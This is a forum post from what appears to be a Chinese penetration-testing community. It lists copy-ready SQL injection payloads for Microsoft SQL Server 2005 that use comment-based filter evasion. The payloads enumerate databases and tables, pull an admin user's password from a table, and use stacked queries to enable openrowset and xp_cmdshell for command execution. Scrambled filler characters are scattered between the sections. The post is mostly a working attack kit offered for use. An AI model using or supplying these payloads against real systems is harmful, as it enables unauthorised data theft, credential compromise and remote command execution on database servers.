中国网络渗透测试联盟
标题:
MSsql2005注入语句
[打印本页]
作者:
admin
时间:
2012-9-13 17:19
标题:
MSsql2005注入语句
! H) v1 L4 \$ g: S- I7 o, g! O
( g6 ]( O! n2 {3 i3 n
) G- T) y) v! w1 J! `8 f+ s
[Copy to clipboard]CODE:
) ?2 H5 u/ ~- B# p% R
/**/and/**/(select/**/top/**/1/**/isnull(cast([name]/**/as/**/nvarchar(500)),char(32))%2bchar(124)/**/from/**/[master].[dbo].[sysdatabases]/**/where/**/dbid/**/in/**/(select/**/top/**/1/**/dbid/**/from/**/[master].[dbo].[sysdatabases]/**/order/**/by/**/dbid/**/desc))%3d0--
1 c/ T' C3 T; g
5 H5 t5 E2 P7 a* V9 D3 Q
爆表语句,somedb部份是所要列的数据库，红色数字1累加
& G: ^1 A: n2 z n, h' l+ U
. [6 A, M, F/ N/ ^7 z5 F3 L/ v
7 R& y7 i+ J# x B- J" y8 p
[Copy to clipboard]CODE:
6 n0 n8 U0 g; v @! A" | |
/**/and/**/(select/**/top/**/1/**/cast(name/**/as/**/varchar(200))/**/from/**/(select/**/top/**/1/**/name/**/from/**/somedb.sys.all_objects/**/where/**/type%3dchar(85)/**/order/**/by/**/name)/**/t/**/order/**/by/**/name/**/desc)%3d0--
* l1 {5 A: T) N( B
: F' ^6 I- [2 y0 S3 K9 s9 K6 A( ^
爆字段语句，爆表admin里user='icerover'的密码段
' z1 g1 o/ [; j3 B6 K
$ d& J; V* I4 J4 V D
5 s% G' l+ O5 x
[Copy to clipboard]CODE:
, [; l7 g4 ~6 P+ E' i) g
**/And/**/(Select/**/Top/**/1/**/isNull(cast([password]/**/as/**/varchar(2000)),char(32))%2bchar(124)/**/From/**/(Select/**/Top/**/1/**/[password]/**/From/**/[somedb]..[admin]/**/Where/**/user='icerover'/**/Order/**/by/**/[password])/**/T/**/Order/**/by/**/[password]Desc)%3d0--
2 b. Z- z6 o7 r% X$ e
$ w) v& O* X/ z- h, P
mssql2005默认没有开xp_cmdshell的，openrowset也不能用
1 `5 T+ b# c: J9 O0 k
如果是sa权限，可以这样来开启
+ u1 ]* e: G0 y. Y
开启openrowset
( ]; k4 f. }, Q1 O1 I, b" C" a( v! f
' [' d! w% Y: Q6 J5 Z: ~* [1 y- r4 V
, l" I3 X& p" s7 `! K( p
[Copy to clipboard]CODE:
& s, z4 t9 M. {
/**/sp_configure/**/'show/**/advanced/**/options',/**/1;RECONFIGURE;--
" _6 S! V0 c+ U+ ~
/**/sp_configure/**/'Ad/**/Hoc/**/Distributed/**/Queries',/**/1;RECONFIGURE;--
9 k, B) d* w' p% x! u4 x' z# t
; B0 H8 S4 E, u
开启xp_cmdshell
* [) t7 | }9 k3 z8 _0 t
" H" l! A& g6 }/ C& n
5 Q1 P5 X8 p- s$ r
[Copy to clipboard]CODE:
: j& r' I; M( U; s5 U1 F5 l e
EXEC/**/sp_configure/**/'Ad/**/Hoc/**/Distributed/**/Queries',1;RECONFIGURE;--
, K. _1 U0 M3 U, v9 N* ]* J& N; [
EXEC/**/sp_configure/**/'show/**/advanced/**/options',1;RECONFIGURE;EXEC/**/sp_configure/**/'xp_cmdshell',1;RECONFIGURE;--
- S: X8 p0 [6 [" m/ e
9 g+ H; O8 p, y/ t3 t
ok,over~~晚安
% G9 }3 J! x# X1 C
欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/)
Powered by Discuz! X3.2